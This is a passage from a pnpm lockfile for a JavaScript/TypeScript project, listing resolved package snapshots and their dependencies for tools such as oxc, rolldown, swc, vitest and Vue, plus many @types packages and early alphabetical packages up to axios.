'@oxc-minify/binding-wasm32-wasi@0.105.0':\n    dependencies:\n      '@napi-rs/wasm-runtime': 1.1.0\n    optional: true\n\n  '@oxc-minify/binding-win32-arm64-msvc@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-win32-x64-msvc@0.105.0':\n    optional: true\n\n  '@oxc-project/runtime@0.101.0': {}\n\n  '@oxc-project/types@0.101.0': {}\n\n  '@oxc-project/types@0.103.0': {}\n\n  '@oxc-resolver/binding-android-arm-eabi@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-android-arm64@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-darwin-arm64@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-darwin-x64@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-freebsd-x64@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-arm-gnueabihf@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-arm-musleabihf@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-arm64-gnu@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-arm64-musl@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-ppc64-gnu@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-riscv64-gnu@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-riscv64-musl@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-s390x-gnu@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-x64-gnu@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-linux-x64-musl@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-wasm32-wasi@11.10.0':\n    dependencies:\n      '@napi-rs/wasm-runtime': 1.1.0\n    optional: true\n\n  '@oxc-resolver/binding-win32-arm64-msvc@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-win32-ia32-msvc@11.10.0':\n    optional: true\n\n  '@oxc-resolver/binding-win32-x64-msvc@11.10.0':\n    optional: true\n\n  '@oxfmt/darwin-arm64@0.20.0':\n    optional: true\n\n  '@oxfmt/darwin-x64@0.20.0':\n    optional: true\n\n  '@oxfmt/linux-arm64-gnu@0.20.0':\n    optional: true\n\n  '@oxfmt/linux-arm64-musl@0.20.0':\n    optional: true\n\n  '@oxfmt/linux-x64-gnu@0.20.0':\n    optional: true\n\n  '@oxfmt/linux-x64-musl@0.20.0':\n    optional: true\n\n  '@oxfmt/win32-arm64@0.20.0':\n    optional: true\n\n  '@oxfmt/win32-x64@0.20.0':\n    optional: true\n\n  '@oxlint-tsgolint/darwin-arm64@0.11.0':\n    optional: true\n\n  '@oxlint-tsgolint/darwin-x64@0.11.0':\n    optional: true\n\n  '@oxlint-tsgolint/linux-arm64@0.11.0':\n    optional: true\n\n  '@oxlint-tsgolint/linux-x64@0.11.0':\n    optional: true\n\n  '@oxlint-tsgolint/win32-arm64@0.11.0':\n    optional: true\n\n  '@oxlint-tsgolint/win32-x64@0.11.0':\n    optional: true\n\n  '@oxlint/darwin-arm64@1.32.0':\n    optional: true\n\n  '@oxlint/darwin-x64@1.32.0':\n    optional: true\n\n  '@oxlint/linux-arm64-gnu@1.32.0':\n    optional: true\n\n  '@oxlint/linux-arm64-musl@1.32.0':\n    optional: true\n\n  '@oxlint/linux-x64-gnu@1.32.0':\n    optional: true\n\n  '@oxlint/linux-x64-musl@1.32.0':\n    optional: true\n\n  '@oxlint/win32-arm64@1.32.0':\n    optional: true\n\n  '@oxlint/win32-x64@1.32.0':\n    optional: true\n\n  '@paralleldrive/cuid2@2.2.2':\n    dependencies:\n      '@noble/hashes': 1.8.0\n\n  '@parcel/watcher-android-arm64@2.5.1':\n    optional: true\n\n  '@parcel/watcher-darwin-arm64@2.5.1':\n    optional: true\n\n  '@parcel/watcher-darwin-x64@2.5.1':\n    optional: true\n\n  '@parcel/watcher-freebsd-x64@2.5.1':\n    optional: true\n\n  '@parcel/watcher-linux-arm-glibc@2.5.1':\n    optional: true\n\n  '@parcel/watcher-linux-arm-musl@2.5.1':\n    optional: true\n\n  '@parcel/watcher-linux-arm64-glibc@2.5.1':\n    optional: true\n\n  '@parcel/watcher-linux-arm64-musl@2.5.1':\n    optional: true\n\n  '@parcel/watcher-linux-x64-glibc@2.5.1':\n    optional: true\n\n  '@parcel/watcher-linux-x64-musl@2.5.1':\n    optional: true\n\n  '@parcel/watcher-win32-arm64@2.5.1':\n    optional: true\n\n  '@parcel/watcher-win32-ia32@2.5.1':\n    optional: true\n\n  '@parcel/watcher-win32-x64@2.5.1':\n    optional: true\n\n  '@parcel/watcher@2.5.1':\n    dependencies:\n      detect-libc: 1.0.3\n      is-glob: 4.0.3\n      micromatch: 4.0.8\n      node-addon-api: 7.1.1\n    optionalDependencies:\n      '@parcel/watcher-android-arm64': 2.5.1\n      '@parcel/watcher-darwin-arm64': 2.5.1\n      '@parcel/watcher-darwin-x64': 2.5.1\n      '@parcel/watcher-freebsd-x64': 2.5.1\n      '@parcel/watcher-linux-arm-glibc': 2.5.1\n      '@parcel/watcher-linux-arm-musl': 2.5.1\n      '@parcel/watcher-linux-arm64-glibc': 2.5.1\n      '@parcel/watcher-linux-arm64-musl': 2.5.1\n      '@parcel/watcher-linux-x64-glibc': 2.5.1\n      '@parcel/watcher-linux-x64-musl': 2.5.1\n      '@parcel/watcher-win32-arm64': 2.5.1\n      '@parcel/watcher-win32-ia32': 2.5.1\n      '@parcel/watcher-win32-x64': 2.5.1\n    optional: true\n\n  '@pkgjs/parseargs@0.11.0':\n    optional: true\n\n  '@polka/url@1.0.0-next.29': {}\n\n  '@publint/pack@0.1.2': {}\n\n  '@quansync/fs@1.0.0':\n    dependencies:\n      quansync: 1.0.0\n\n  '@rolldown/binding-android-arm64@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-android-arm64@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-darwin-arm64@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-darwin-arm64@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-darwin-x64@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-darwin-x64@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-freebsd-x64@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-freebsd-x64@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-linux-arm-gnueabihf@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-linux-arm-gnueabihf@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-linux-arm64-gnu@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-linux-arm64-gnu@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-linux-arm64-musl@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-linux-arm64-musl@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-linux-x64-gnu@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-linux-x64-gnu@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-linux-x64-musl@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-linux-x64-musl@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-openharmony-arm64@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-openharmony-arm64@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-wasm32-wasi@1.0.0-beta.53':\n    dependencies:\n      '@napi-rs/wasm-runtime': 1.1.0\n    optional: true\n\n  '@rolldown/binding-wasm32-wasi@1.0.0-beta.55':\n    dependencies:\n      '@napi-rs/wasm-runtime': 1.1.0\n    optional: true\n\n  '@rolldown/binding-win32-arm64-msvc@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-win32-arm64-msvc@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/binding-win32-x64-msvc@1.0.0-beta.53':\n    optional: true\n\n  '@rolldown/binding-win32-x64-msvc@1.0.0-beta.55':\n    optional: true\n\n  '@rolldown/pluginutils@1.0.0-beta.29': {}\n\n  '@rolldown/pluginutils@1.0.0-beta.53': {}\n\n  '@rolldown/pluginutils@1.0.0-beta.55': {}\n\n  '@sec-ant/readable-stream@0.4.1': {}\n\n  '@shikijs/core@3.15.0':\n    dependencies:\n      '@shikijs/types': 3.15.0\n      '@shikijs/vscode-textmate': 10.0.2\n      '@types/hast': 3.0.4\n      hast-util-to-html: 9.0.5\n\n  '@shikijs/engine-javascript@3.15.0':\n    dependencies:\n      '@shikijs/types': 3.15.0\n      '@shikijs/vscode-textmate': 10.0.2\n      oniguruma-to-es: 4.3.3\n\n  '@shikijs/engine-oniguruma@3.15.0':\n    dependencies:\n      '@shikijs/types': 3.15.0\n      '@shikijs/vscode-textmate': 10.0.2\n\n  '@shikijs/langs@3.15.0':\n    dependencies:\n      '@shikijs/types': 3.15.0\n\n  '@shikijs/themes@3.15.0':\n    dependencies:\n      '@shikijs/types': 3.15.0\n\n  '@shikijs/transformers@3.15.0':\n    dependencies:\n      '@shikijs/core': 3.15.0\n      '@shikijs/types': 3.15.0\n\n  '@shikijs/types@3.15.0':\n    dependencies:\n      '@shikijs/vscode-textmate': 10.0.2\n      '@types/hast': 3.0.4\n\n  '@shikijs/vscode-textmate@10.0.2': {}\n\n  '@sigstore/bundle@1.1.0':\n    dependencies:\n      '@sigstore/protobuf-specs': 0.2.1\n\n  '@sigstore/protobuf-specs@0.2.1': {}\n\n  '@sigstore/sign@1.0.0':\n    dependencies:\n      '@sigstore/bundle': 1.1.0\n      '@sigstore/protobuf-specs': 0.2.1\n      make-fetch-happen: 11.1.1\n    transitivePeerDependencies:\n      - supports-color\n\n  '@sigstore/tuf@1.0.3':\n    dependencies:\n      '@sigstore/protobuf-specs': 0.2.1\n      tuf-js: 1.1.7\n    transitivePeerDependencies:\n      - supports-color\n\n  '@sinclair/typebox@0.34.41': {}\n\n  '@sindresorhus/merge-streams@2.3.0': {}\n\n  '@sindresorhus/merge-streams@4.0.0': {}\n\n  '@standard-schema/spec@1.1.0': {}\n\n  '@swc-node/core@1.14.1(@swc/core@1.15.3)(@swc/types@0.1.25)':\n    dependencies:\n      '@swc/core': 1.15.3\n      '@swc/types': 0.1.25\n\n  '@swc-node/register@1.11.1(@swc/core@1.15.3)(@swc/types@0.1.25)(typescript@5.9.3)':\n    dependencies:\n      '@swc-node/core': 1.14.1(@swc/core@1.15.3)(@swc/types@0.1.25)\n      '@swc-node/sourcemap-support': 0.6.1\n      '@swc/core': 1.15.3\n      colorette: 2.0.20\n      debug: 4.4.3(supports-color@8.1.1)\n      oxc-resolver: 11.10.0\n      pirates: 4.0.7\n      tslib: 2.8.1\n      typescript: 5.9.3\n    transitivePeerDependencies:\n      - '@swc/types'\n      - supports-color\n\n  '@swc-node/sourcemap-support@0.6.1':\n    dependencies:\n      source-map-support: 0.5.21\n      tslib: 2.8.1\n\n  '@swc/core-darwin-arm64@1.15.3':\n    optional: true\n\n  '@swc/core-darwin-x64@1.15.3':\n    optional: true\n\n  '@swc/core-linux-arm-gnueabihf@1.15.3':\n    optional: true\n\n  '@swc/core-linux-arm64-gnu@1.15.3':\n    optional: true\n\n  '@swc/core-linux-arm64-musl@1.15.3':\n    optional: true\n\n  '@swc/core-linux-x64-gnu@1.15.3':\n    optional: true\n\n  '@swc/core-linux-x64-musl@1.15.3':\n    optional: true\n\n  '@swc/core-win32-arm64-msvc@1.15.3':\n    optional: true\n\n  '@swc/core-win32-ia32-msvc@1.15.3':\n    optional: true\n\n  '@swc/core-win32-x64-msvc@1.15.3':\n    optional: true\n\n  '@swc/core@1.15.3':\n    dependencies:\n      '@swc/counter': 0.1.3\n      '@swc/types': 0.1.25\n    optionalDependencies:\n      '@swc/core-darwin-arm64': 1.15.3\n      '@swc/core-darwin-x64': 1.15.3\n      '@swc/core-linux-arm-gnueabihf': 1.15.3\n      '@swc/core-linux-arm64-gnu': 1.15.3\n      '@swc/core-linux-arm64-musl': 1.15.3\n      '@swc/core-linux-x64-gnu': 1.15.3\n      '@swc/core-linux-x64-musl': 1.15.3\n      '@swc/core-win32-arm64-msvc': 1.15.3\n      '@swc/core-win32-ia32-msvc': 1.15.3\n      '@swc/core-win32-x64-msvc': 1.15.3\n\n  '@swc/counter@0.1.3': {}\n\n  '@swc/types@0.1.25':\n    dependencies:\n      '@swc/counter': 0.1.3\n\n  '@tootallnate/once@2.0.0': {}\n\n  '@tsconfig/node10@1.0.11': {}\n\n  '@tsconfig/node12@1.0.11': {}\n\n  '@tsconfig/node14@1.0.3': {}\n\n  '@tsconfig/node16@1.0.4': {}\n\n  '@tufjs/canonical-json@1.0.0': {}\n\n  '@tufjs/models@1.0.4':\n    dependencies:\n      '@tufjs/canonical-json': 1.0.0\n      minimatch: 9.0.5\n\n  '@tybys/wasm-util@0.10.1':\n    dependencies:\n      tslib: 2.8.1\n    optional: true\n\n  '@types/accepts@1.3.7':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/body-parser@1.19.6':\n    dependencies:\n      '@types/connect': 3.4.38\n      '@types/node': 24.10.2\n\n  '@types/bytes@3.1.5': {}\n\n  '@types/chai@5.2.3':\n    dependencies:\n      '@types/deep-eql': 4.0.2\n      assertion-error: 2.0.1\n\n  '@types/common-tags@1.8.4': {}\n\n  '@types/connect@3.4.38':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/content-disposition@0.5.9': {}\n\n  '@types/content-type@1.1.9': {}\n\n  '@types/cookie-parser@1.4.9(@types/express@5.0.3)':\n    dependencies:\n      '@types/express': 5.0.3\n\n  '@types/cookiejar@2.1.5': {}\n\n  '@types/cookies@0.9.1':\n    dependencies:\n      '@types/connect': 3.4.38\n      '@types/express': 5.0.3\n      '@types/keygrip': 1.0.6\n      '@types/node': 24.10.2\n\n  '@types/cross-spawn@6.0.6':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/dargs@5.1.0': {}\n\n  '@types/debug@4.1.12':\n    dependencies:\n      '@types/ms': 2.1.0\n\n  '@types/deep-eql@4.0.2': {}\n\n  '@types/destroy@1.0.3':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/encodeurl@1.0.3': {}\n\n  '@types/escape-html@1.0.4': {}\n\n  '@types/estree@1.0.8': {}\n\n  '@types/express-serve-static-core@5.1.0':\n    dependencies:\n      '@types/node': 24.10.2\n      '@types/qs': 6.14.0\n      '@types/range-parser': 1.2.7\n      '@types/send': 1.2.0\n\n  '@types/express@5.0.3':\n    dependencies:\n      '@types/body-parser': 1.19.6\n      '@types/express-serve-static-core': 5.1.0\n      '@types/serve-static': 1.15.9\n\n  '@types/extend@3.0.4': {}\n\n  '@types/fresh@0.5.3': {}\n\n  '@types/fs-readdir-recursive@1.1.3': {}\n\n  '@types/hast@3.0.4':\n    dependencies:\n      '@types/unist': 3.0.3\n\n  '@types/http-assert@1.5.6': {}\n\n  '@types/http-errors@2.0.5': {}\n\n  '@types/ini@4.1.1': {}\n\n  '@types/ioredis-mock@8.2.6(ioredis@5.8.1)':\n    dependencies:\n      ioredis: 5.8.1\n\n  '@types/istanbul-lib-coverage@2.0.6': {}\n\n  '@types/istanbul-lib-report@3.0.3':\n    dependencies:\n      '@types/istanbul-lib-coverage': 2.0.6\n\n  '@types/istanbul-reports@3.0.4':\n    dependencies:\n      '@types/istanbul-lib-report': 3.0.3\n\n  '@types/js-beautify@1.14.3': {}\n\n  '@types/js-yaml@4.0.9': {}\n\n  '@types/json-schema@7.0.15': {}\n\n  '@types/keygrip@1.0.6': {}\n\n  '@types/koa-bodyparser@4.3.12':\n    dependencies:\n      '@types/koa': 3.0.0\n\n  '@types/koa-compose@3.2.8':\n    dependencies:\n      '@types/koa': 3.0.0\n\n  '@types/koa-range@0.3.5':\n    dependencies:\n      '@types/koa': 3.0.0\n\n  '@types/koa@3.0.0':\n    dependencies:\n      '@types/accepts': 1.3.7\n      '@types/content-disposition': 0.5.9\n      '@types/cookies': 0.9.1\n      '@types/http-assert': 1.5.6\n      '@types/http-errors': 2.0.5\n      '@types/keygrip': 1.0.6\n      '@types/koa-compose': 3.2.8\n      '@types/node': 24.10.2\n\n  '@types/linkify-it@5.0.0': {}\n\n  '@types/lodash.snakecase@4.1.9':\n    dependencies:\n      '@types/lodash': 4.17.20\n\n  '@types/lodash@4.17.20': {}\n\n  '@types/markdown-it@14.1.2':\n    dependencies:\n      '@types/linkify-it': 5.0.0\n      '@types/mdurl': 2.0.0\n\n  '@types/mdast@4.0.4':\n    dependencies:\n      '@types/unist': 3.0.3\n\n  '@types/mdurl@2.0.0': {}\n\n  '@types/methods@1.1.4': {}\n\n  '@types/mime-types@3.0.1': {}\n\n  '@types/mime@1.3.5': {}\n\n  '@types/mocha@10.0.10': {}\n\n  '@types/ms@2.1.0': {}\n\n  '@types/mustache@4.2.6': {}\n\n  '@types/node@10.17.60': {}\n\n  '@types/node@24.10.2':\n    dependencies:\n      undici-types: 7.16.0\n\n  '@types/nunjucks@3.2.6': {}\n\n  '@types/on-finished@2.3.5':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/parseurl@1.3.3':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/pluralize@0.0.33': {}\n\n  '@types/qs@6.14.0': {}\n\n  '@types/range-parser@1.2.7': {}\n\n  '@types/safe-timers@1.1.2': {}\n\n  '@types/send@0.17.5':\n    dependencies:\n      '@types/mime': 1.3.5\n      '@types/node': 24.10.2\n\n  '@types/send@1.2.0':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/serve-static@1.15.9':\n    dependencies:\n      '@types/http-errors': 2.0.5\n      '@types/node': 24.10.2\n      '@types/send': 0.17.5\n\n  '@types/sqlstring@2.3.2': {}\n\n  '@types/stack-trace@0.0.33': {}\n\n  '@types/statuses@2.0.6': {}\n\n  '@types/superagent@8.1.9':\n    dependencies:\n      '@types/cookiejar': 2.1.5\n      '@types/methods': 1.1.4\n      '@types/node': 24.10.2\n      form-data: 4.0.5\n\n  '@types/type-is@1.6.7':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/unist@3.0.3': {}\n\n  '@types/urijs@1.19.25': {}\n\n  '@types/uuid@10.0.0': {}\n\n  '@types/vary@1.1.3':\n    dependencies:\n      '@types/node': 24.10.2\n\n  '@types/web-bluetooth@0.0.21': {}\n\n  '@types/yargs-parser@21.0.3': {}\n\n  '@types/yargs@12.0.20': {}\n\n  '@types/yargs@17.0.33':\n    dependencies:\n      '@types/yargs-parser': 21.0.3\n\n  '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260117.1':\n    optional: true\n\n  '@typescript/native-preview-darwin-x64@7.0.0-dev.20260117.1':\n    optional: true\n\n  '@typescript/native-preview-linux-arm64@7.0.0-dev.20260117.1':\n    optional: true\n\n  '@typescript/native-preview-linux-arm@7.0.0-dev.20260117.1':\n    optional: true\n\n  '@typescript/native-preview-linux-x64@7.0.0-dev.20260117.1':\n    optional: true\n\n  '@typescript/native-preview-win32-arm64@7.0.0-dev.20260117.1':\n    optional: true\n\n  '@typescript/native-preview-win32-x64@7.0.0-dev.20260117.1':\n    optional: true\n\n  '@typescript/native-preview@7.0.0-dev.20260117.1':\n    optionalDependencies:\n      '@typescript/native-preview-darwin-arm64': 7.0.0-dev.20260117.1\n      '@typescript/native-preview-darwin-x64': 7.0.0-dev.20260117.1\n      '@typescript/native-preview-linux-arm': 7.0.0-dev.20260117.1\n      '@typescript/native-preview-linux-arm64': 7.0.0-dev.20260117.1\n      '@typescript/native-preview-linux-x64': 7.0.0-dev.20260117.1\n      '@typescript/native-preview-win32-arm64': 7.0.0-dev.20260117.1\n      '@typescript/native-preview-win32-x64': 7.0.0-dev.20260117.1\n\n  '@ungap/structured-clone@1.3.0': {}\n\n  '@vitejs/plugin-vue@6.0.1(rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2))(vue@3.5.25(typescript@5.9.3))':\n    dependencies:\n      '@rolldown/pluginutils': 1.0.0-beta.29\n      vite: rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n      vue: 3.5.25(typescript@5.9.3)\n\n  '@vitest/coverage-v8@4.0.15(vitest@4.0.15)':\n    dependencies:\n      '@bcoe/v8-coverage': 1.0.2\n      '@vitest/utils': 4.0.15\n      ast-v8-to-istanbul: 0.3.8\n      istanbul-lib-coverage: 3.2.2\n      istanbul-lib-report: 3.0.1\n      istanbul-lib-source-maps: 5.0.6\n      istanbul-reports: 3.2.0\n      magicast: 0.5.1\n      obug: 2.1.1\n      std-env: 3.10.0\n      tinyrainbow: 3.0.3\n      vitest: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n    transitivePeerDependencies:\n      - supports-color\n\n  '@vitest/expect@4.0.15':\n    dependencies:\n      '@standard-schema/spec': 1.1.0\n      '@types/chai': 5.2.3\n      '@vitest/spy': 4.0.15\n      '@vitest/utils': 4.0.15\n      chai: 6.2.1\n      tinyrainbow: 3.0.3\n\n  '@vitest/mocker@4.0.15(rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2))':\n    dependencies:\n      '@vitest/spy': 4.0.15\n      estree-walker: 3.0.3\n      magic-string: 0.30.21\n    optionalDependencies:\n      vite: rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  '@vitest/pretty-format@4.0.15':\n    dependencies:\n      tinyrainbow: 3.0.3\n\n  '@vitest/runner@4.0.15':\n    dependencies:\n      '@vitest/utils': 4.0.15\n      pathe: 2.0.3\n\n  '@vitest/snapshot@4.0.15':\n    dependencies:\n      '@vitest/pretty-format': 4.0.15\n      magic-string: 0.30.21\n      pathe: 2.0.3\n\n  '@vitest/spy@4.0.15': {}\n\n  '@vitest/ui@4.0.15(vitest@4.0.15)':\n    dependencies:\n      '@vitest/utils': 4.0.15\n      fflate: 0.8.2\n      flatted: 3.3.3\n      pathe: 2.0.3\n      sirv: 3.0.2\n      tinyglobby: 0.2.15\n      tinyrainbow: 3.0.3\n      vitest: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n\n  '@vitest/utils@4.0.15':\n    dependencies:\n      '@vitest/pretty-format': 4.0.15\n      tinyrainbow: 3.0.3\n\n  '@vue/compiler-core@3.5.25':\n    dependencies:\n      '@babel/parser': 7.28.5\n      '@vue/shared': 3.5.25\n      entities: 4.5.0\n      estree-walker: 2.0.2\n      source-map-js: 1.2.1\n\n  '@vue/compiler-dom@3.5.25':\n    dependencies:\n      '@vue/compiler-core': 3.5.25\n      '@vue/shared': 3.5.25\n\n  '@vue/compiler-sfc@3.5.25':\n    dependencies:\n      '@babel/parser': 7.28.5\n      '@vue/compiler-core': 3.5.25\n      '@vue/compiler-dom': 3.5.25\n      '@vue/compiler-ssr': 3.5.25\n      '@vue/shared': 3.5.25\n      estree-walker: 2.0.2\n      magic-string: 0.30.21\n      postcss: 8.5.6\n      source-map-js: 1.2.1\n\n  '@vue/compiler-ssr@3.5.25':\n    dependencies:\n      '@vue/compiler-dom': 3.5.25\n      '@vue/shared': 3.5.25\n\n  '@vue/devtools-api@8.0.5':\n    dependencies:\n      '@vue/devtools-kit': 8.0.5\n\n  '@vue/devtools-kit@8.0.5':\n    dependencies:\n      '@vue/devtools-shared': 8.0.5\n      birpc: 2.8.0\n      hookable: 5.5.3\n      mitt: 3.0.1\n      perfect-debounce: 2.0.0\n      speakingurl: 14.0.1\n      superjson: 2.2.2\n\n  '@vue/devtools-shared@8.0.5':\n    dependencies:\n      rfdc: 1.4.1\n\n  '@vue/reactivity@3.5.25':\n    dependencies:\n      '@vue/shared': 3.5.25\n\n  '@vue/runtime-core@3.5.25':\n    dependencies:\n      '@vue/reactivity': 3.5.25\n      '@vue/shared': 3.5.25\n\n  '@vue/runtime-dom@3.5.25':\n    dependencies:\n      '@vue/reactivity': 3.5.25\n      '@vue/runtime-core': 3.5.25\n      '@vue/shared': 3.5.25\n      csstype: 3.1.3\n\n  '@vue/server-renderer@3.5.25(vue@3.5.25(typescript@5.9.3))':\n    dependencies:\n      '@vue/compiler-ssr': 3.5.25\n      '@vue/shared': 3.5.25\n      vue: 3.5.25(typescript@5.9.3)\n\n  '@vue/shared@3.5.25': {}\n\n  '@vueuse/core@14.0.0(vue@3.5.25(typescript@5.9.3))':\n    dependencies:\n      '@types/web-bluetooth': 0.0.21\n      '@vueuse/metadata': 14.0.0\n      '@vueuse/shared': 14.0.0(vue@3.5.25(typescript@5.9.3))\n      vue: 3.5.25(typescript@5.9.3)\n\n  '@vueuse/integrations@14.0.0(axios@1.13.5)(focus-trap@7.6.6)(nprogress@0.2.0)(vue@3.5.25(typescript@5.9.3))':\n    dependencies:\n      '@vueuse/core': 14.0.0(vue@3.5.25(typescript@5.9.3))\n      '@vueuse/shared': 14.0.0(vue@3.5.25(typescript@5.9.3))\n      vue: 3.5.25(typescript@5.9.3)\n    optionalDependencies:\n      axios: 1.13.5\n      focus-trap: 7.6.6\n      nprogress: 0.2.0\n\n  '@vueuse/metadata@14.0.0': {}\n\n  '@vueuse/shared@14.0.0(vue@3.5.25(typescript@5.9.3))':\n    dependencies:\n      vue: 3.5.25(typescript@5.9.3)\n\n  '@zkochan/cmd-shim@5.4.1':\n    dependencies:\n      cmd-extension: 1.0.2\n      graceful-fs: 4.2.11\n      is-windows: 1.0.2\n\n  a-sync-waterfall@1.0.1: {}\n\n  abbrev@1.1.1: {}\n\n  abbrev@2.0.0: {}\n\n  accepts@1.3.8:\n    dependencies:\n      mime-types: 2.1.35\n      negotiator: 0.6.3\n\n  accepts@2.0.0:\n    dependencies:\n      mime-types: 3.0.2\n      negotiator: 1.0.0\n\n  acorn-walk@8.3.4:\n    dependencies:\n      acorn: 8.15.0\n\n  acorn@8.15.0: {}\n\n  address@2.0.3: {}\n\n  agent-base@6.0.2:\n    dependencies:\n      debug: 4.4.3(supports-color@8.1.1)\n    transitivePeerDependencies:\n      - supports-color\n\n  agentkeepalive@4.6.0:\n    dependencies:\n      humanize-ms: 1.2.1\n\n  aggregate-error@3.1.0:\n    dependencies:\n      clean-stack: 2.2.0\n      indent-string: 4.0.0\n\n  ajv-formats@2.1.1(ajv@8.17.1):\n    optionalDependencies:\n      ajv: 8.17.1\n\n  ajv-formats@3.0.1(ajv@8.17.1):\n    optionalDependencies:\n      ajv: 8.17.1\n\n  ajv-keywords@5.1.0(ajv@8.17.1):\n    dependencies:\n      ajv: 8.17.1\n      fast-deep-equal: 3.1.3\n\n  ajv@8.17.1:\n    dependencies:\n      fast-deep-equal: 3.1.3\n      fast-uri: 3.1.0\n      json-schema-traverse: 1.0.0\n      require-from-string: 2.0.2\n\n  ansi-escapes@4.3.2:\n    dependencies:\n      type-fest: 0.21.3\n\n  ansi-escapes@7.2.0:\n    dependencies:\n      environment: 1.1.0\n\n  ansi-regex@4.1.1: {}\n\n  ansi-regex@5.0.1: {}\n\n  ansi-regex@6.2.2: {}\n\n  ansi-styles@3.2.1:\n    dependencies:\n      color-convert: 1.9.3\n\n  ansi-styles@4.3.0:\n    dependencies:\n      color-convert: 2.0.1\n\n  ansi-styles@6.2.3: {}\n\n  ansis@3.17.0: {}\n\n  ansis@4.2.0: {}\n\n  any-promise@1.3.0: {}\n\n  anymatch@3.1.3:\n    dependencies:\n      normalize-path: 3.0.0\n      picomatch: 2.3.1\n    optional: true\n\n  aproba@2.1.0: {}\n\n  are-we-there-yet@3.0.1:\n    dependencies:\n      delegates: 1.0.0\n      readable-stream: 3.6.2\n\n  are-we-there-yet@4.0.2: {}\n\n  arg@4.1.3: {}\n\n  argparse@1.0.10:\n    dependencies:\n      sprintf-js: 1.0.3\n\n  argparse@2.0.1: {}\n\n  array-buffer-byte-length@1.0.2:\n    dependencies:\n      call-bound: 1.0.4\n      is-array-buffer: 3.0.5\n\n  array-differ@4.0.0: {}\n\n  array-flatten@1.1.1: {}\n\n  array-union@2.1.0: {}\n\n  array-union@3.0.1: {}\n\n  asap@2.0.6: {}\n\n  assert-file@1.0.0:\n    dependencies:\n      is-type-of: 1.4.0\n      lodash.ismatch: 4.4.0\n\n  assertion-error@2.0.1: {}\n\n  ast-kit@2.2.0:\n    dependencies:\n      '@babel/parser': 7.28.5\n      pathe: 2.0.3\n\n  ast-v8-to-istanbul@0.3.8:\n    dependencies:\n      '@jridgewell/trace-mapping': 0.3.31\n      estree-walker: 3.0.3\n      js-tokens: 9.0.1\n\n  async@3.2.6: {}\n\n  asynckit@0.4.0: {}\n\n  available-typed-arrays@1.0.7:\n    dependencies:\n      possible-typed-array-names: 1.1.0\n\n  await-event@2.1.0: {}\n\n  await-first@1.0.0:\n    dependencies:\n      ee-first: 1.1.1\n\n  aws-ssl-profiles@1.1.2: {}\n\n  axios@1.13.5:\n    dependencies:\n      follow-redirects: 1.15.11\n      form-data: 4.0.5\n      proxy-from-env: 1.1.0\n    transitivePeerDependencies:\n      - 